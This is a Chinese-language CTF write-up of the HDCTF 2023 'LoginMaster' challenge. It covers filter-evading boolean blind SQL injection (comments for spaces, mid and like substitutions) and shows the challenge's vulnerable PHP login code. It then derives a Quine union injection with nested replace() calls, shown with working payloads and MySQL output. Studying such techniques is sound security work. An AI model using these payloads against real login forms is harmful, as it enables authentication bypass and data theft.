SQL注入之Quine

总结一下几天前的比赛。

[HDCTF 2023]LoginMaster

用户名给定admin,注入点在password。

过滤了空格,password=0'/**/or/**/1#有回显差异。尝试用布尔盲注,过滤了substrmid代替,过滤了=like代替。

爆破得到库名,尝试报表。过滤information,测试sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffermysql.innodb_table_stats,只有sys.schema_table_statistics_with_buffer没有过滤,但查询这个表没有任何匹配,怀疑此表并不存在。

猜测爆破表user字段password,出了结果,但是密码只有两个。构造password=0'/**/or/**/mid(password)/**/like/**/'1'#,尝试直接匹配查询出来的password,得到结果04340343a018616055307f3b205c82b0,以此作为密码输入但是不对。

猜测爆破表user字段username,有三个用户,admin密码为空。

至此游戏结束。

背后发生了什么

当时比较困惑的有两个:一个是后端逻辑是怎么做判断的;一个是直接匹配查询出来的password是哪里的数据。

后端代码

从出题师傅那里拿到了这道题的源码,判断部分的代码如下:

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

获得flag要使sql查询出来的$row['password']与输入的$password相等,而admin的password为空,如果输入空的password就会被第一个判断拦下。

所以要构造一个查询出的结果,与输入的查询语句相同的sql查询。

反引号查询

在有了题目数据库的结构后,这个问题也明了了。


password这个反引号包裹的password返回的是user表的这个列,在这个匹配中mid(password,1,1)='a'只要这一列有满足要求的条目,就会返回这个条目。

因此,04340343a018616055307f3b205c82b0其实是两个password条目的组合。所以只有在数据库只有一条记录时,这个方法才能在不知道表名的情况下查到对应的字段内容。

Quine注入

MySQL 的 Quine 注入是一种自我复制的 SQL 注入攻击。Quine 是一种特殊类型的计算机程序,它的输出是其自身的源代码。类似地,Quine 注入是一种 SQL 注入攻击,它可以在被执行后生成与原始攻击相同的代码。

在这里我们要SELECT password FROM users WHERE username='admin' and password='$password';查询的结果,与输入的$password相同,该如何操作呢?

首先想到这里应该要构造一个联合查询的格式,因为这样在password判断失败的情况下,可以返回我们查询的结果。

这里构造 Quine 注入用到的是 replace 函数,replace 函数的用法也非常简单。

# 它会在 str 中寻找 old_str 子串,用 new_str 来替换 old_str
replace(str, old_str, new_str)

构造 Quine 的起点:replace('replace(".", char(46), ".")', char(46), 'replace(".", char(46), ".")'),其中的char(46)就是.,执行效果如下:

mysql> select replace('replace(".", char(46), ".")', char(46), 'replace(".", char(46), ".")');
+---------------------------------------------------------------------------------+
| replace('replace(".", char(46), ".")', char(46), 'replace(".", char(46), ".")') |
+---------------------------------------------------------------------------------+
| replace("replace(".", char(46), ".")", char(46), "replace(".", char(46), ".")") |
+---------------------------------------------------------------------------------+

这一过程究竟发生了什么?因为最后发生变化的是第一个字符串,其中会被替换的.用红色标出,替换用的字符串用蓝色标出:
replace(".", char(46), ".")
replace(".", char(46), ".")
replace("replace(".", char(46), ".")", char(46), "replace(".", char(46), ".")")

清晰许多了,结果也很相似。但是我们注意到,在构造查询的时候。闭合字符串用的单引号,与闭合.的双引号必须是不同的。而替换后原来字符串闭合.的双引号,又变到了闭合字符串的位置。这就导致了一些差别。

下面的构造语句为:replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

mysql> mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

分析下这个查询的过程:
replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39))
replace(replace('.',char(34),char(39)),char(46),'.')
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

通过总结,Quine注入的构造格式可以是:
replace(replace('str',char(34),char(39)), char(46), 'str')
而str的基本格式,就是上面这个Quine格式中的str换成.,再将'换成"
replace(replace(".",char(34),char(39)), char(46), ".")

select password from users where username='admin' and password='1' union select replace(replace('str',char(34),char(39)), char(46), 'str');
1' union select replace(replace('str',char(34),char(39)), char(46), 'str');
1" union select replace(replace(".",char(34),char(39)), char(46), ".")
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)), char(46), ".")',char(34),char(39)), char(46), '1" union select replace(replace(".",char(34),char(39)), char(46), ".")');

mysql> select password from users where username='admin' and password='1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)), char(46), ".")',char(34),char(39)), char(46), '1" union select replace(replace(".",char(34),char(39)), char(46), ".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| password                                                                                                                                                                                                         |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)), char(46), ".")',char(34),char(39)), char(46), '1" union select replace(replace(".",char(34),char(39)), char(46), ".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)